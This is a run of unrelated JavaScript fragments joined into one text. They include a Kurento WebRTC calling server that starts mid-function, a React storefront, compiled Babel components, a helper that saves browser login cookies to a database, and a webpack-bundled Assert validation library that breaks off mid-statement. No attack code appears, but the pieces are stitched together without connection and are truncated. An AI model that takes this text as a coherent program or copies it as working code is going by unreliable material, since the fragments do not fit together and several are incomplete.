userRegistry.getById(calleeId); if (!from || !userRegistry.getByName(from)) { return onError(null, 'unknown from = ' + from); } var caller = userRegistry.getByName(from); if (callResponse === 'accept') { var pipeline = new CallMediaPipeline(); pipelines[caller.id] = pipeline; pipelines[callee.id] = pipeline; pipeline.createPipeline(caller.id, callee.id, ws, function(error) { if (error) { return onError(error, error); } pipeline.generateSdpAnswer(caller.id, caller.sdpOffer, function(error, callerSdpAnswer) { if (error) { return onError(error, error); } pipeline.generateSdpAnswer(callee.id, calleeSdp, function(error, calleeSdpAnswer) { if (error) { return onError(error, error); } var message = { id: 'startCommunication', sdpAnswer: calleeSdpAnswer }; callee.sendMessage(message); message = { id: 'callResponse', response : 'accepted', sdpAnswer: callerSdpAnswer }; caller.sendMessage(message); }); }); }); } else { var decline = { id: 'callResponse', response: 'rejected', message: 'user declined' }; caller.sendMessage(decline); } } function call(callerId, to, from, sdpOffer) { clearCandidatesQueue(callerId); var caller = userRegistry.getById(callerId); var rejectCause = 'User ' + to + ' is not registered'; if (userRegistry.getByName(to)) { var callee = userRegistry.getByName(to); caller.sdpOffer = sdpOffer; callee.peer = from; caller.peer = to; var message = { id: 'incomingCall', from: from }; try{ return callee.sendMessage(message); } catch(exception) { rejectCause = "Error " + exception; } } var message = { id: 'callResponse', response: 'rejected: ', message: rejectCause }; caller.sendMessage(message); } function register(id, name, ws, callback) { function onError(error) { ws.send(JSON.stringify({id:'registerResponse', response : 'rejected ', message: error})); } if (!name) { return onError("empty user name"); } if (userRegistry.getByName(name)) { return onError("User " + name + " is already registered"); } userRegistry.register(new UserSession(id, name, ws)); try { ws.send(JSON.stringify({id: 'registerResponse', response: 'accepted'})); } catch(exception) { onError(exception); } } function clearCandidatesQueue(sessionId) { if (candidatesQueue[sessionId]) { delete candidatesQueue[sessionId]; } } function onIceCandidate(sessionId, _candidate) { var candidate = kurento.getComplexType('IceCandidate')(_candidate); var user = userRegistry.getById(sessionId); if (pipelines[user.id] && pipelines[user.id].webRtcEndpoint && pipelines[user.id].webRtcEndpoint[user.id]) { var webRtcEndpoint = pipelines[user.id].webRtcEndpoint[user.id]; webRtcEndpoint.addIceCandidate(candidate); } else { if (!candidatesQueue[user.id]) { candidatesQueue[user.id] = []; } candidatesQueue[sessionId].push(candidate); } } app.use(express.static(path.join(__dirname, 'static')));
// (async()=>{ const Sequelize = require('sequelize'); // For other calls //const path=require('path'); let sequelize = require('./sequelize') try{ sequelize.authenticate(); console.log('success!') } catch(e) { console.log('fail!'); } })()
chrome.runtime.onMessage.addListener( function(request, sender, sendResponse) { sendResponse({svg: document.documentElement.outerHTML}); } );
import React from 'react'; import {BrowserRouter, Switch, Route } from 'react-router-dom'; import Navbar from './components/Navbar/Navbar'; import Products from './components/Products/Products'; import Cart from './components/Cart/Cart'; import commerce from './lib/commerce'; import Backdrop from '@material-ui/core/Backdrop'; import CircularProgress from '@material-ui/core/CircularProgress'; import { makeStyles } from '@material-ui/core/styles'; import Checkout from './components/Checkout/Checkout'; import CategoryBar from './components/CategoryBar/CategoryBar'; const useStyles = makeStyles((theme) => ({ backdrop: { zIndex: theme.zIndex.drawer + 1, color: '#fff', }, })); function App(){ // Backdrop const classes = useStyles(); const [open, setOpen] = React.useState(false); const handleBackDropClose = () => { setOpen(false); }; const handleBackDropToggle = () => { setOpen(!open); }; // Product and Cart const [products, setProducts] = React.useState([]); const [categories, setCategories] = React.useState([]); const [category, setCategory] = React.useState(''); const [cart, setCart] = React.useState({}); const [order, setOrder] = React.useState({}); const [searchText, setSearchText] = React.useState(''); const [errMsg, setErrMsg] = React.useState(''); const fetchProducts = async (category=null) => { handleBackDropToggle(); let { data } = await commerce.products.list(); // Category wise filtering if(category){ const arrayOfProducts = data.map((product)=> { const cat = product.categories.map(category=> category.slug) return [product, cat]; }) const filteredProducts = arrayOfProducts.filter(p=>{ if(p[1].includes(category)) return p; }) setProducts(filteredProducts); } else{ setProducts(data); } handleBackDropClose(); } const fetchCategories = async() => { const {data} = await commerce.categories.list(); setCategories(data); } const fetchCart = async () => { handleBackDropToggle(); const data = await commerce.cart.retrieve(); setCart(data); handleBackDropClose(); } const addToCart = async (productId, quantity) => { handleBackDropToggle(); const response = await commerce.cart.add(productId, quantity); setCart(response.cart); handleBackDropClose(); } const updateCartItemQty = async (line_item_id, quantity) => { handleBackDropToggle(); const response = await commerce.cart.update(line_item_id, {quantity}); setCart(response.cart); handleBackDropClose(); } const removeItemFromCart = async (line_item_id) => { handleBackDropToggle(); const response = await commerce.cart.remove(line_item_id); setCart(response.cart); handleBackDropClose(); } const emptyCart = async () => { handleBackDropToggle(); const response = await commerce.cart.empty(); setCart(response.cart); handleBackDropClose(); } const refreshCart = async() =>{ const newCart = await commerce.cart.refresh(); setCart(newCart); } const processCaptureCheckout = async (checkoutTokenId, newOrder) => { try { const incomingOrder = await commerce.checkout.capture(checkoutTokenId, newOrder); setOrder(incomingOrder); refreshCart(); } catch (error) { console.log(error); setErrMsg(error.data.error.message); } } React.useEffect(()=>{ fetchCategories(); fetchProducts(category); }, [category]); React.useEffect(()=>{ fetchCart(); }, []) return ( <BrowserRouter> <div> <Navbar totalItems={cart.total_items} setSearchText={setSearchText} setCategory={setCategory}/> <CategoryBar categories={categories} setCategory={setCategory}/> <Backdrop className={classes.backdrop} open={open}> <CircularProgress color="inherit" /> </Backdrop> <Switch> <Route exact path="/"> <Products products={products} searchText={searchText} addToCart={addToCart} /> </Route> <Route exact path="/cart"> <Cart cart={cart} updateCartItemQty={updateCartItemQty} removeItemFromCart={removeItemFromCart} emptyCart={emptyCart} /> </Route> <Route exact path="/checkout"> <Checkout cart={cart} order={order} processCaptureCheckout={processCaptureCheckout} errMsg={errMsg}/> </Route> </Switch> </div> </BrowserRouter> ) } export default App;
Object.defineProperty(exports,"__esModule",{value:true});var _extends=Object.assign||function(target){for(var i=1;i<arguments.length;i++){var source=arguments[i];for(var key in source){if(Object.prototype.hasOwnProperty.call(source,key)){target[key]=source[key];}}}return target;};exports.default=compositeAggsReducer;var _constants=require('../constants');function _defineProperty(obj,key,value){if(key in obj){Object.defineProperty(obj,key,{value:value,enumerable:true,configurable:true,writable:true});}else{obj[key]=value;}return obj;}function _toConsumableArray(arr){if(Array.isArray(arr)){for(var i=0,arr2=Array(arr.length);i<arr.length;i++){arr2[i]=arr[i];}return arr2;}else{return Array.from(arr);}}function compositeAggsReducer(){var state=arguments.length>0&&arguments[0]!==undefined?arguments[0]:{};var action=arguments[1];if(action.type===_constants.UPDATE_COMPOSITE_AGGS){var aggsResponse=Object.values(action.aggregations)&&Object.values(action.aggregations)[0];var fieldName=Object.keys(action.aggregations)[0];if(!aggsResponse)return state;var buckets=aggsResponse.buckets||[];var parsedAggs=buckets.map(function(bucket){var doc_count=bucket.doc_count,key=bucket.key,hitsData=bucket[fieldName];return _extends({_doc_count:doc_count,_key:key[fieldName]},hitsData&&hitsData.hits.hits[0]);});return _extends({},state,_defineProperty({},action.component,action.append?[].concat(_toConsumableArray(state[action.component]),_toConsumableArray(parsedAggs)):parsedAggs));}return state;}
'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _react = require('react'); var _react2 = _interopRequireDefault(_react); var _Item = require('./Item'); var _Item2 = _interopRequireDefault(_Item); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } var Container = function (_Component) { _inherits(Container, _Component); function Container() { _classCallCheck(this, Container); return _possibleConstructorReturn(this, Object.getPrototypeOf(Container).apply(this, arguments)); } _createClass(Container, [{ key: 'render', value: function render() { var _props = this.props; var notifications = _props.notifications; var onRemove = _props.onRemove; var noAnimation = _props.noAnimation; return _react2.default.createElement( 'ul', null, notifications.map(function (notification) { return _react2.default.createElement(_Item2.default, { ref: 'notification-' + notification.uid, key: notification.uid, notification: notification, onRemove: onRemove, noAnimation: noAnimation }); }) ); } }]); return Container; }(_react.Component); Container.propTypes = { notifications: _react.PropTypes.array.isRequired, onRemove: _react.PropTypes.func, noAnimation: _react.PropTypes.bool }; exports.default = Container;
import {chrome, db} from 'lib' export const chromeLogin = async (accountId, provider, username, delayInMs) => { const browser = await chrome.build() await browser.sleep(delayInMs) let account = await db.accounts.get(accountId) if (account.error) { account = { id: accountId, provider, username } } const cookies = await chrome.getCookiesFromBrowser(browser) account.cookies = cookies await db.accounts.set(account) await browser.quit() }
import React from 'react'; import { ContactPageTemplate } from '../../templates/about-page'; const ContactPagePreview = ({ entry, widgetFor }) => ( <ContactPageTemplate title={entry.getIn(['data', 'title'])} content={widgetFor('body')} /> ); export default ContactPagePreview;
/******/ (function(modules) { // webpackBootstrap /******/ // The module cache /******/ var installedModules = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ /******/ // Check if module is in cache /******/ if(installedModules[moduleId]) { /******/ return installedModules[moduleId].exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = installedModules[moduleId] = { /******/ i: moduleId, /******/ l: false, /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); /******/ /******/ // Flag the module as loaded /******/ module.l = true; /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /******/ /******/ // expose the modules object (__webpack_modules__) /******/ __webpack_require__.m = modules; /******/ /******/ // expose the module cache /******/ __webpack_require__.c = installedModules; /******/ /******/ // define getter function for harmony exports /******/ __webpack_require__.d = function(exports, name, getter) { /******/ if(!__webpack_require__.o(exports, name)) { /******/ Object.defineProperty(exports, name, { /******/ configurable: false, /******/ enumerable: true, /******/ get: getter /******/ }); /******/ } /******/ }; /******/ /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = function(module) { /******/ var getter = module && module.__esModule ? /******/ function getDefault() { return module['default']; } : /******/ function getModuleExports() { return module; }; /******/ __webpack_require__.d(getter, 'a', getter); /******/ return getter; /******/ }; /******/ /******/ // Object.prototype.hasOwnProperty.call /******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); }; /******/ /******/ // __webpack_public_path__ /******/ __webpack_require__.p = ""; /******/ /******/ // Load entry module and return exports /******/ return __webpack_require__(__webpack_require__.s = 15); /******/ }) /************************************************************************/ /******/ ([ /* 0 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _InvalidValueException = __webpack_require__(2); var _InvalidValueException2 = _interopRequireDefault(_InvalidValueException); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } var Assert = function () { function Assert() { _classCallCheck(this, Assert); } _createClass(Assert, null, [{ key: 'instanceOf', /** * @param {object} objectValue * @param {function} expectedInstance * @param {string} [message] */ value: function instanceOf(objectValue, expectedInstance) { var message = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : ""; this.string(message, "Custom error message passed to Assert.instanceOf needs to be a valid string."); if ((typeof objectValue === 'undefined' ? 'undefined' : _typeof(objectValue)) !== 'object') { throw _InvalidValueException2.default.expected("object", objectValue, message); } if (!(objectValue instanceof expectedInstance)) { throw _InvalidValueException2.default.expected(expectedInstance.name, objectValue, message.length ? message : "Expected instance of \"${expected}\" but got \"${received}\"."); } } /** * @param {int} integerValue * @param {string} [message] */ }, { key: 'integer', value: function integer(integerValue) { var message = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ""; this.string(message, "Custom error message passed to Assert.integer needs to be a valid string."); if (!Number.isInteger(integerValue)) { throw _InvalidValueException2.default.expected("integer", integerValue, message); } } /** * @param {number} numberValue * @param {string} [message] */ }, { key: 'number', value: function number(numberValue) { var message = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ""; this.string(message, "Custom error message passed to Assert.number needs to be a valid string."); if (typeof numberValue !== 'number') { throw _InvalidValueException2.default.expected("number", numberValue); } } /** * @param {string} stringValue * @param {string} [message] */ }, { key: 'string', value: function string(stringValue) { var message = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ""; if (typeof message !== "string") { throw "Custom error message passed to Assert.string needs to be a valid string."; } if (typeof stringValue !== "string") { throw _InvalidValueException2.default.expected("string", stringValue, message); } } /** * @param {boolean} booleanValue * @param {string} [message] */ }, { key: 'boolean', value: function boolean(booleanValue) { var message = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ""; this.string(message, "Custom error message passed to Assert.boolean needs to be a valid string."); if (typeof booleanValue !== 'boolean') { throw _InvalidValueException2.default.expected("boolean", booleanValue, message); } } /** * @param {boolean} value * @param {string} [message] */ }, { key: 'true', value: function _true(value) { var message = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ""; this.boolean(value); this.string(message, "Custom error message passed to Assert.true needs to be a valid string."); if (value !== true) { throw _InvalidValueException2.default.expected("true", value, message); } } /** * @param {boolean} value * @param {string} [message] */ }, { key: 'false', value: function _false(value) { var message = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ""; this.boolean(value); this.string(message, "Custom error message passed to Assert.false needs to be a valid string."); if (value !== false) { throw _InvalidValueException2.default.expected("false", value, message); } } /** * @param {object} objectValue * @param {string} [message] */ }, { key: 'object', value: function object(objectValue) { var message = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ""; this.string(message, "Custom error message passed to Assert.object needs to be a valid string."); if ((typeof objectValue === 'undefined' ? 'undefined' : _typeof(objectValue)) !== 'object') { throw _InvalidValueException2.default.expected("object", objectValue, message); } } /** * @param {string} expectedFunctionName * @param {object} objectValue * @param {string} [message] */ }, { key: 'hasFunction', value: function hasFunction(expectedFunctionName, objectValue) { var message = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : ""; this.string(expectedFunctionName); this.object(objectValue); this.string(message, "Custom error message passed to Assert.hasFunction needs to be a valid string."); if (typeof objectValue[expectedFunctionName] !== 'function') { throw _InvalidValueException2.default.expected('object to has function "' + expectedFunctionName + '"', objectValue, message); } } /** * @param {array} arrayValue * @param {string} [message] */ }, { key: 'array', value: function array(arrayValue) { var message = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ""; this.string(message, "Custom error message passed to Assert.array needs to be a valid string."); if (!Array.isArray(arrayValue)) { throw _InvalidValueException2.default.expected("array", arrayValue, message); } } /** * @param {function} functionValue * @param {string} [message] */ }, { key: 'isFunction', value: function isFunction(functionValue) { var message = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ""; this.string(message, "Custom error message passed to Assert.isFunction needs to be a valid string."); if (typeof functionValue !== 'function') { throw _InvalidValueException2.default.expected("function", functionValue, message); } } /** * @param {int} expected * @param {int} integerValue * @param {string} [message] */ }, { key: 'greaterThan', value: function greaterThan(expected, integerValue) { var message = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : ""; this.number(expected); this.number(integerValue); this.string(message, "Custom error message passed to Assert.greaterThan needs to be a valid string."); if (integerValue <= expected) { throw message.length > 0 ? message : 'Expected value ' + integerValue + ' to be greater than ' + expected; } } /** * @param {int} expected * @param {int} integerValue * @param {string} [message] */ }, { key: 'greaterThanOrEqual', value: function greaterThanOrEqual(expected, integerValue) { var message = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : ""; this.number(expected); this.number(integerValue); this.string(message, "Custom error message passed to Assert.greaterThanOrEqual needs to be a valid string."); if (integerValue < expected) { throw message.length > 0 ? message : 'Expected value ' + integerValue + ' to be greater than ' + expected + ' or equal'; } } /** * @param {int} expected * @param {int} integerValue * @param {string} [message] */ }, { key: 'lessThan', value: function lessThan(expected, integerValue) { var message = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : ""; this.number(expected); this.number(integerValue); this.string(message, "Custom error message passed to Assert.lessThan needs to be a valid string."); if (integerValue >= expected) { throw message.length > 0 ? message : 'Expected value ' + integerValue + ' to be less than ' + expected; } } /** * @param {int} expected * @param {int} integerValue * @param {string} [message] */ }, { key: 'lessThanOrEqual', value: function lessThanOrEqual(expected, integerValue) { var message = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : ""; this.number(expected); this.number(integerValue); this.string(message, "Custom error message passed to Assert.lessThanOrEqual needs to be a valid string."); if (integerValue > expected) { throw message.length > 0 ? message : 'Expected value ' + integerValue + ' to be less than ' + expected + ' or equal'; } } /** * @param {array} arrayValue * @param {function} expectedInstance * @param {string} [message] */ }, { key: 'containsOnly', value: function containsOnly(arrayValue, expectedInstance) { var message = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : ""; this.array(arrayValue, "Assert.containsOnly require valid array, got \"${received}\"."); this.string(message, "Custom error message passed to Assert.containsOnly needs to be a valid string."); var _iteratorNormalCompletion = true; var _didIteratorError = false; var _iteratorError = undefined; try { for (var _iterator = arrayValue[Symbol.iterator](), _step; !(_iteratorNormalCompletion = (_step = _iterator.next()).done); _iteratorNormalCompletion = true) { var element = _step.value; try { this.instanceOf(element, expectedInstance, message); } catch (error) { throw _InvalidValueException2.default.expected(expectedInstance.name, element, message.length ? message : "Expected instance of \"${expected}\" but got \"${received}\"."); } } } catch (err) { _didIteratorError = true; _iteratorError = err; } finally { try { if (!_iteratorNormalCompletion && _iterator.return) { _iterator.return(); } } finally { if (_didIteratorError) { throw _iteratorError; } } } } /** * @param {int} expectedCount * @param {array} arrayValue * @param {string} [message] */ }, { key: 'count', value: function count(expectedCount, arrayValue) { var message = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : ""; this.integer(expectedCount); this.array(arrayValue); this.string(message, "Custom error message passed to Assert.count needs to be a valid string."); if (arrayValue.length !== expectedCount) { throw message.length ? message : 'Expected count ' + expectedCount + ', got ' + arrayValue.length; } } /** * @param {*} value * @param {string} [message] */ }, { key: 'notEmpty', value: function notEmpty(value) { var message = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ""; this.string(message, "Custom error message passed to Assert.empty needs to be a valid string."); if (value.length === 0) { throw _InvalidValueException2.default.expected("not empty value", value, message); } } /** * @param {int} integerValue * @param {string} [message] */ }, { key: 'oddNumber', value: function oddNumber(integerValue) { var message = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ""; this.integer(integerValue); this.string(message, "Custom error message passed to Assert.oddNumber needs to be a valid string."); if (integerValue % 2 !== 1) { throw _InvalidValueException2.default.expected("odd number", integerValue, message); } } /** * @param {int} integerValue * @param {string} [message] */ }, { key: 'evenNumber', value: function evenNumber(integerValue) { var message = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ""; this.integer(integerValue); this.string(message, "Custom error message passed to Assert.evenNumber needs to be a valid string."); if (integerValue % 2 !== 0) { throw _InvalidValueException2.default.expected("even number", integerValue, message); } } /** * @param {string} stringValue * @param {string} [message] */ }, { key: 'jsonString', value: function jsonString(stringValue) { var message = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ""; this.string(stringValue); this.string(message, "Custom error message passed to Assert.jsonString needs to be a valid string."); try { JSON.parse(stringValue); } catch (e) { throw _InvalidValueException2.default.expected("json string", stringValue, message); } } /** * @param {string} emailValue * @param {string} [message] */ }, { key: 'email', value: function email(emailValue) { var message = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ""; this.string(emailValue); this.string(message, "Custom error message passed to Assert.email needs to be a valid string."); var regexp = /^[-a-z0-9~!$%^&*_=+}{\'?]+(\.[-a-z0-9~!$%^&*_=+}{\'?]+)*@([a-z0-9_][-a-z0-9_]*(\.[-a-z0-9_]+)*\.(aero|arpa|biz|com|coop|edu|gov|info|int|mil|museum|name|net|org|pro|travel|mobi|[a-z][a-z])|([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}))(:[0-9]{1,5})?$/i; if (!regexp.test(emailValue)) { throw _InvalidValueException2.default.expected("valid email address", emailValue, message); } } /** * @param {string} urlValue * @param {string} [message] */ }, { key: 'url', value: function url(urlValue) { var message = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ""; this.string(urlValue); this.string(message, "Custom error message passed to Assert.url needs to be a valid string."); var regexp = /^(?:(?:https?|ftp):\/\/)(?:\S+(?::\S*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)(?:\.(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)*(?:\.(?:[a-z\u00a1-\uffff]{2,}))\.?)(?::\d{2,5})?(?:[/?#]\S*)?$/i; if (!regexp.test(urlValue)) { throw _InvalidValueException2.default.expected("valid url", urlValue, message); } } /** * @param {string} uuidValue * @param {string} [message] */ }, { key: 'uuid', value: function uuid(uuidValue) { var message = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ""; this.string(uuidValue); this.string(message, "Custom error message passed to Assert.uuid needs to be a valid string."); var regexp = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i; if (!regexp.test(uuidValue)) { throw _InvalidValueException2.default.expected("valid uuid", uuidValue, message); } } }]); return Assert; }(); exports.default = Assert; /***/ }), /* 1 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var assert = __webpack_require__(0).default; module.exports = assert; if (typeof window !== 'undefined') { window.Assert = assert; } /***/ }), /* 2 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _Assert = __webpack_require__(0); var _Assert2 = _interopRequireDefault(_Assert); var _MessageFactory = __webpack_require__(3); var _MessageFactory2 = _interopRequireDefault(_MessageFactory); var _ValueConverter = __webpack_require__(4); var _ValueConverter2 = _interopRequireDefault(_ValueConverter); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } var InvalidValueException = function () { function InvalidValueException() { _classCallCheck(this, InvalidValueException); } _createClass(InvalidValueException, null, [{ key: 'expected', /** * @param {string} type * @param {*} value * @param {string} [message] * @returns {Error} */ value: function expected(type, value) { var message = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : ""; _Assert2.default.string(message); if (message.length) { return new Error(_MessageFactory2.default.create(message, { expected: type, received: _ValueConverter2.default.toString(value) })); } return new Error('Expected ' + type + ' but got "' + _ValueConverter2.default.toString(value) + '".'); } }]); return InvalidValueException; }(); exports.default = InvalidValueException; /***/ }), /* 3 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _Assert = __webpack_require__(0); var _Assert2 = _interopRequireDefault(_Assert); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } var VALUE_NAME_REGEXP = /\${(.*?)}/g; var MessageFactory = function () { function MessageFactory() { _classCallCheck(this, MessageFactory); } _createClass(MessageFactory, null, [{ key: 'create', /** * @param {string} template * @param {object} [data] */ value: function create(template) { var data = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; _Assert2.default.string(template); _Assert2.default.object(data); return template.replace(VALUE_NAME_REGEXP, function (placeholder, propertyName) { if (data.hasOwnProperty(propertyName)) { return data[propertyName]; } return placeholder; }); } }]); return MessageFactory; }(); exports.default = MessageFactory; /***/ }), /* 4 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } var ValueConverter = function () { function ValueConverter() { _classCallCheck(this, ValueConverter); } _createClass(ValueConverter, null, [{ key: 'toString', /** * @param {*} value * @returns {string} */ value: function toString(value) { if (typeof value === 'string') { return 'string["' + value + '"]'; } if (typeof value === 'number') { if (Number.isInteger(value)) { return 'int[' + value + ']'; } return 'float[' + value + ']'; } if (typeof value === 'boolean') { return 'boolean[' + (value ? "true" : "false") + ']'; } if (typeof value === 'function') { return 'function[' + value.toString() + ']'; } if ((typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object') { if (Array.isArray(value)) { return 'array[length: ' + value.length + ']'; } if (value instanceof Map) { return 'Map[size: ' + value.size + ']'; } if (value instanceof WeakMap) { return 'WeakMap[]'; } if (value instanceof Set) { return 'Set[size: ' + value.size + ']'; } if (value instanceof WeakSet) { return 'WeakSet[]'; } if (value instanceof String) { return 'String["' + value + '"]'; } if (value instanceof Number) { var source = value.valueOf(); if (Number.isInteger(source)) { return 'Number:int[' + source + ']'; } return 'Number:float[' + source + ']'; } if (value instanceof Boolean) { return 'Boolean[' + (value.valueOf() ? "true" : "false") + ']'; } if (value instanceof Date) { return 'Date["' + value.toUTCString() + '"]'; } if (value instanceof RegExp) { return 'RegExp[' + value.toString() + ']'; } return 'object[' + JSON.stringify(value) + ']'; } if (typeof value === 'undefined') { return 'undefined'; } throw 'Unhandled type ' + (typeof value === 'undefined' ? 'undefined' : _typeof(value)); } }]); return ValueConverter; }(); exports.default = ValueConverter; /***/ }), /* 5 */, /* 6 */, /* 7 */, /* 8 */, /* 9 */, /* 10 */, /* 11 */, /* 12 */, /* 13 */, /* 14 */, /* 15 */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; Object.defineProperty(__webpack_exports__, "__esModule", { value: true }); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__v3_CascadingComboBox__ = __webpack_require__(16); let mainCombobox = new __WEBPACK_IMPORTED_MODULE_0__v3_CascadingComboBox__["a" /* CascadingComboBox */]({ id: 'categoryMain', onCreateOption: onCreateOptionCallback, onSelected: onItemSelectedCallback }); mainCombobox.setData(MPro.promotion); let combobox1 = new __WEBPACK_IMPORTED_MODULE_0__v3_CascadingComboBox__["a" /* CascadingComboBox */]({ id: 'category1', onCreateOption: onCreateOptionCallback, onSelected: onItemSelectedCallback }); mainCombobox.attachChild({ child: combobox1, onCreateChildData: /** * @callback onCreateChildDataCallback * @param {Object} data * @param {CascadingComboBox} target * @returns {Object} */ function (data, target) { return data.children1[0].children1; } }); let combobox2 = new __WEBPACK_IMPORTED_MODULE_0__v3_CascadingComboBox__["a" /* 